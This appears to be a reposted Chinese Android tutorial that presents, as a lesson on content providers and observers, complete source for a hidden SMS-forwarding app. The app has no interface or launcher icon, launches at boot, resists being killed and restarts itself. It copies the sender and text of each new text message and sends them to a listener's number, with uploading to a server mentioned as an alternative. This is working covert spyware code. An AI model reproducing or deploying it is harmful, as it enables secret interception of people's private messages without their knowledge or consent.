通过短信讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动

 第一步:我们讲解怎样做一个无界面和应用图标的的应用程序。我这里用的是隐式启动Activity,这样启动就不会带界面和图标,其实做开启启动非常容易,写一个广播事件进行监听,并注册在清单文件中,一会我们在介绍怎么做到开机启动服务。回归正题:如果没有activity就不能做到安装就运行,所以我们要有activity,但是又不能有界面和图标,那就得这么做,看代码吧!如下:

通过短信讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动_第1张图片

红线部分就是比较重点的代码,上边有解释,我就不多说了,只要加上上边红色部分的代码,就能做到启动Activity没有界面和图标。

   第二步:服务开机自动启动。首先我们应该写一个开机自动启动的广播,代码如下:

[java]  view plain copy
  1. package net.loonggg.testbackstage;  
  2.   
  3. import android.content.BroadcastReceiver;  
  4. import android.content.Context;  
  5. import android.content.Intent;  
  6.   
  7. public class BootReceiver extends BroadcastReceiver {  
  8.   
  9.     @Override  
  10.     public void onReceive(Context context, Intent intent) {  
  11.         Intent mBootIntent = new Intent(context, TestService.class);  
  12.         context.startService(mBootIntent);  
  13.     }  
  14.   
  15. }  

然后是非常重要的服务Service的代码:

[java]  view plain copy
  1. package net.loonggg.testbackstage;  
  2.   
  3. import android.app.Service;  
  4. import android.content.ContentResolver;  
  5. import android.content.Intent;  
  6. import android.database.ContentObserver;  
  7. import android.database.Cursor;  
  8. import android.net.Uri;  
  9. import android.os.Handler;  
  10. import android.os.IBinder;  
  11. import android.telephony.SmsManager;  
  12.   
  13. public class TestService extends Service {  
  14.   
  15.     @Override  
  16.     public IBinder onBind(Intent intent) {  
  17.         return null;  
  18.     }  
  19.   
  20.     @Override  
  21.     public void onCreate() {  
  22.         super.onCreate();  
  23.         ContentResolver resolver = getContentResolver();  
  24.         Uri uri = Uri.parse("content://sms/");  
  25.         resolver.registerContentObserver(uri, truenew MyObserver(  
  26.                 new Handler()));  
  27.     }  
  28.   
  29.     @Override  
  30.     public int onStartCommand(Intent intent, int flags, int startId) {  
  31.         flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自动重写创建  
  32.         return super.onStartCommand(intent, flags, startId);  
  33.         // return START_REDELIVER_INTENT;  
  34.     }  
  35.   
  36.     private class MyObserver extends ContentObserver {  
  37.   
  38.         public MyObserver(Handler handler) {  
  39.             super(handler);  
  40.         }  
  41.   
  42.         @Override  
  43.         public void onChange(boolean selfChange) {  
  44.             super.onChange(selfChange);  
  45.             ContentResolver resolver = getContentResolver();  
  46.             Uri uri = Uri.parse("content://sms/");  
  47.             Cursor cursor = resolver.query(uri, new String[] { "address",  
  48.                     "body" }, nullnullnull);  
  49.             cursor.moveToFirst();  
  50.             String address = cursor.getString(cursor.getColumnIndex("address"));  
  51.             String body = cursor.getString(cursor.getColumnIndex("body"));  
  52.             String smsContent = "number:" + address + "--content:" + body;  
  53.             SmsManager smsManager = SmsManager.getDefault();  
  54.             // 下边的注释是超过70个字符,分条发送,这里不需要  
  55.             // if (smsContent.length() > 70) {  
  56.             // List<String> contents = smsManager.divideMessage(smsContent);  
  57.             // for (String sms : contents) {  
  58.             // smsManager.sendTextMessage("5556", null, sms, null, null);  
  59.             // }  
  60.             // } else {  
  61.             smsManager.sendTextMessage("5556"null, smsContent, nullnull);  
  62.             // }  
  63.             cursor.close();  
  64.         }  
  65.   
  66.     }  
  67.   
  68.     public void onDestroy() {  
  69.         Intent localIntent = new Intent();  
  70.         localIntent.setClass(this, TestService.class); // 销毁时重新启动Service  
  71.         this.startService(localIntent);  
  72.     }  
  73.   
  74. }  
服务里面的具体代码我们一会在解释,这里主要讲解怎样做到开机自动启动。做到开机自动启动,与服务里面的代码没有关系,主要是那个BootReceiver广播配合清单文件AndroidManifest.xml,在清单文件里注册这个广播事件,开机触发广播,就会运行BootReceiver里面的onReceive()方法,启动服务了!

通过短信讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动_第2张图片

红色部分代码就是广播里面有关开机启动的代码,黑色的那两行与杀死进程再重新启动有关!

  第三步:被管理进程的软件杀死服务后,再重新启动的方法。首先将服务的优先级设为最大,这样不容易在内存不够时,被先杀死,然后就是将广播的优先级加最高,最重要的就是上边图片中那两行的画黑线的代码,它们会在锁屏和情景变化时,启动广播,从而重新启动服务。代码如下:

通过短信讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动_第3张图片

在TestService中,更重要的代码是:

[java]  view plain copy
  1. @Override  
  2.     public int onStartCommand(Intent intent, int flags, int startId) {  
  3.         flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自动重写创建  
  4.         return super.onStartCommand(intent, flags, startId);  
  5.         // return START_REDELIVER_INTENT;  
  6.     }  
  7.   
  8.     public void onDestroy() {  
  9.         Intent localIntent = new Intent();  
  10.         localIntent.setClass(this, TestService.class); // 销毁时重新启动Service  
  11.         this.startService(localIntent);  
  12.     }  

为什么重要,代码中都有解释,一个是在销毁时重新启动服务,另一个是返回START_STICKY代表service被kill掉后会自动重写创建。

第四步:通过内容观察者和内容提供者监听短信,内容观察者是观察系统短信的变化,只要系统短信变化,内容观察者就能监听到,通过内容提供者获取短信内容,再把内容发送到监听者的手机或者上传到服务器,我在这里用的是将监听到的短信内容发送到监听者的手机中!代码就在TestService中,代码如下:

[java]  view plain copy
  1. @Override  
  2.     public void onCreate() {  
  3.         super.onCreate();  
  4.         ContentResolver resolver = getContentResolver();  
  5.         Uri uri = Uri.parse("content://sms/");  
  6.         /** 
  7.          * 第一个参数不用解释,第二个参数notifyForDescendents这个需要解释,true代表主机的主要Uri一样就会触发,发送消息, 
  8.          * false代表必须非常精确的Uri一样才能触发,发送消息,第三个参数也不用解释,就是内容观察者 
  9.          */  
  10.         resolver.registerContentObserver(uri, truenew MyObserver(  
  11.                 new Handler()));  
  12.     }  
  13.   
  14.     private class MyObserver extends ContentObserver {  
  15.   
  16.         public MyObserver(Handler handler) {  
  17.             super(handler);  
  18.         }  
  19.   
  20.         /** 
  21.          * 当内容观察者,观察到数据库的内容发生变化的时候,调用这个方法 。 观察到消息邮箱里面有一条数据库内容变化的通知 
  22.          */  
  23.         @Override  
  24.         public void onChange(boolean selfChange) {  
  25.             super.onChange(selfChange);  
  26.             ContentResolver resolver = getContentResolver();  
  27.             Uri uri = Uri.parse("content://sms/");  
  28.             Cursor cursor = resolver.query(uri, new String[] { "address",  
  29.                     "body" }, nullnullnull);  
  30.             cursor.moveToFirst();  
  31.             String address = cursor.getString(cursor.getColumnIndex("address"));  
  32.             String body = cursor.getString(cursor.getColumnIndex("body"));  
  33.             String smsContent = "number:" + address + "--content:" + body;  
  34.             SmsManager smsManager = SmsManager.getDefault();  
  35.             // 下边的注释是超过70个字符,分条发送,这里不需要  
  36.             // if (smsContent.length() > 70) {  
  37.             // List<String> contents = smsManager.divideMessage(smsContent);  
  38.             // for (String sms : contents) {  
  39.             // smsManager.sendTextMessage("5556", null, sms, null, null);  
  40.             // }  
  41.             // } else {  
  42.             smsManager.sendTextMessage("5556"null, smsContent, nullnull);  
  43.             // }  
  44.             cursor.close();  
  45.         }  
  46.   
  47.     }  
到这里就都解释完了,我把完整的清单文件代码贴出来,代码如下:

[html]  view plain copy
  1. <?xml version="1.0" encoding="utf-8"?>  
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"  
  3.     package="net.loonggg.testbackstage"  
  4.     android:versionCode="1"  
  5.     android:versionName="1.0" >  
  6.   
  7.     <uses-sdk  
  8.         android:minSdkVersion="8"  
  9.         android:targetSdkVersion="17" />  
  10.   
  11.     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />  
  12.     <uses-permission android:name="android.permission.READ_SMS" />  
  13.     <uses-permission android:name="android.permission.SEND_SMS" />  
  14.     <uses-permission android:name="android.permission.READ_PHONE_STATE" />  
  15.   
  16.     <application  
  17.         android:allowBackup="true"  
  18.         android:label="@string/app_name"  
  19.         android:persistent="true"  
  20.         android:theme="@style/AppTheme" > <!-- 切记, android:persistent="true"这个不可滥用,系统中用这个的service,app一多,整个系统就完蛋了。 -->  
  21.         <service  
  22.             android:name=".TestService"  
  23.             android:priority="1000" > <!-- 优先级设置成最大 -->  
  24.         </service>  
  25.   
  26.         <receiver  
  27.             android:name=".BootReceiver"  
  28.             android:priority="2147483647" > <!-- 优先级加最高 -->  
  29.             <intent-filter>  
  30.   
  31.                 <!-- 系统启动完成后会调用 -->  
  32.                 <action android:name="android.intent.action.BOOT_COMPLETED" />  
  33.                 <!-- 解锁完成后会调用 -->  
  34.                 <action android:name="android.intent.action.USER_PRESENT" />  
  35.                 <!-- 监听情景切换 -->  
  36.                 <action android:name="android.media.RINGER_MODE_CHANGED" />  
  37.             </intent-filter>  
  38.         </receiver>  
  39.   
  40.         <activity  
  41.             android:name=".MainActivity"  
  42.             android:label="@string/app_name"  
  43.             android:theme="@android:style/Theme.NoDisplay" > <!-- 无界面 -->  
  44.             <intent-filter>  
  45.                 <action android:name="android.intent.action.MAIN" />  
  46.   
  47.                 <category android:name="android.intent.category.LAUNCHER" />  
  48.                 <!-- 隐式启动Activity,不会显示图标 -->  
  49.                 <data  
  50.                     android:host="”MainActivity”"  
  51.                     android:scheme="”net.loonggg.testbackstage”" />  
  52.             </intent-filter>  
  53.         </activity>  
  54.     </application>  
  55.   
  56. </manifest>  

你可能感兴趣的:(通过短信讲解内容提供者,内容观察者,以及无界面后台运行服务,开机启动和杀死服务后重新启动)